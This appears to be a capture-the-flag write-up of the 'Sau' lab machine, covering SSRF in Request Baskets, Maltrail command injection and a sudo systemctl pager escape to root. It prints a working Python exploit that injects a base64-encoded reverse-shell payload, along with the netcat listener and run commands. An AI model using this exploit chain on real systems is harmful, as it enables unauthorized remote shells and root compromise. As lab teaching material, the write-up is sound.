Context
Sau is a Linux machine that involves exploiting two chained vulnerabilities. It features an exposed Request Baskets service vulnerable to Server-Side Request Forgery (SSRF) via CVE-2023-27163. This flaw is leveraged to access an internal Maltrail instance, which suffers from an unauthenticated OS command-injection vulnerability. Exploiting this leads to a reverse shell as the puma user. Finally, a sudo misconfiguration is abused to escalate privileges and obtain a root shell.
Initial Enumeration
We begin by performing a quick scan of the target machine using Nmap to identify open ports and running services. The -sC flag enables the default NSE scripts, while -sV attempts to determine service versions. The -p- flag instructs Nmap to scan all 65,535 TCP ports.
The scan reveals that port 22 is open and running OpenSSH 8.2p1. Port 80 appears filtered, meaning Nmap was unable to determine whether it is open or closed. Port 55555 is open and hosting a Golang net/http server.
$ nmap -sC -sV -p- 10.10.11.224
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| ...
80/tcp filtered http
55555/tcp open http Golang net/http server
| ...
| Allow: GET, OPTIONS
| ...
HTTP
After checking the HTTP service on port 80, we find that access to the requested resource is denied. When trying to access the address http://10.10.11.224:55555/, it is possible to see a Request Baskets service running version 1.2.1. This service is a web application that allows users to create and manage request baskets. It is often used in conjunction with other web applications, such as Maltrail, to provide a more comprehensive view of network traffic and security events.
If we search for the version of the service online, we find that it is vulnerable to a Server-Side Request Forgery (SSRF). This vulnerability allows an attacker to send crafted requests to the server’s internal network, potentially granting access to sensitive information or enabling unauthorized actions. The vulnerability stems from the way the application handles user-supplied URLs. Specifically, it fails to properly validate them, allowing an attacker to send requests to internal services that are not meant to be exposed externally.
The page gives us the option to create a new basket which has an associated token. If we decide to access to the basket we have created (in my case is named oli0qe), we can see the following message:

As the message indicates, the basket is empty. If we send a GET request from our local machine to the basket, we can see it will be registered in the basket. The request is as follows:
$ curl http://10.10.11.224:55555/oli09qe

If we take a look at the configuration settings of our basket, we can see that we can input a "forward URL" and check three options: "Insecure TLS", "Proxy Response", and "Expand Forward Path". The first one is used to allow insecure TLS connections. The second one allows the proxy to return the response from the target server indicated by the forward URL. The last one means the forward URL path will be expanded when the original HTTP request contains a compound path. The forward URL is used to specify the destination to which the request will be forwarded.

So theoretically, if we set the forward URL to http://127.0.0.1:80 and check the "Proxy Response" option and the "Expand Forward Path" option, we should be able to access the internal service running on port 80. The application forwards the request to the specified URL and return the response to us. Applying all the technical concepts previously discussed, if we access the request collection via the URL http://10.10.11.224:55555/{NAME_OF_THE_BASKET}, in reality it will display the response from http://127.0.0.1:80 of the internal service, which will look something like this:

Foothold
Now that we have access to the internal service, we can see that it is running Maltrail (version 0.53), which is a malicious traffic detection system. It is designed to monitor network traffic and detect suspicious activity. Googling the version of the service, we can see that it is vulnerable to an Unauthenticated OS Command Injection. The exploit script can be found here, however, I would like to highlight what makes the script work:
import sys
import os
import base64
def main():
# Store attacker's IP, port and target URL.
listening_IP = None
listening_PORT = None
target_URL = None
# Check if the script is run with the correct number of arguments.
if len(sys.argv) != 4:
print("Error. Needs listening IP, PORT and target URL.")
return(-1)
# Assign the arguments to the variables.
listening_IP = sys.argv[1]
listening_PORT = sys.argv[2]
target_URL = sys.argv[3] + "/login"
print("Running exploit on " + str(target_URL))
# Call the attack function named curl_cmd.
curl_cmd(listening_IP, listening_PORT, target_URL)
def curl_cmd(my_ip, my_port, target_url):
# Create a Python one-liner reverse shell payload using socket and pty.
payload = f'python3 -c \\'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{my_ip}",
{my_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")\\''
encoded_payload = base64.b64encode(payload.encode()).decode() # encode the payload in Base64
# Build a curl command that sends a POST request with the malicious payload to the target
command = f"curl '{target_url}' --data 'username=;`echo+\\"{encoded_payload}\\"+|+base64+-d+|+sh`'"
os.system(command)
if __name__ == "__main__":
main()
Before executing, we have to set up a listener on our local machine to catch the reverse shell. So we will run the following commands in the given order:
$ nc -lvnp {PORT_OF_YOUR_CHOICE}
$ python3 exploit.py {YOUR_IP} {PORT_OF_YOUR_CHOICE} http://10.10.11.224:55555/{NAME_OF_THE_BASKET}
After executing these commands, we should be able to see a reverse shell connecting to our local machine. The reverse shell will be running as the puma user, which is the user that runs the Maltrail service. The user flag can be found in the user's home directory: /home/puma.
Privilege Escalation
If we check the sudo permissions of the user puma with sudo -l, we can see that the user has permission to run /usr/bin/systemctl status trail.service as root and without a password. Checking the version of systemctl, we can see that it is running systemd 245, which is vulnerable to a Local Privilege Escalation vulnerability in the following way:
$ sudo /usr/bin/systemctl status trail.service
sudo /usr/bin/systemctl status trail.service
WARNING: terminal is not fully functional
- (press RETURN)!/bin/bash
!//bbiinn//bbaasshh!/bin/bash
root@sau:/opt/maltrail#
We have reached the root user, which is the final step of the machine. The root flag can be found in the home directory of the user: /root.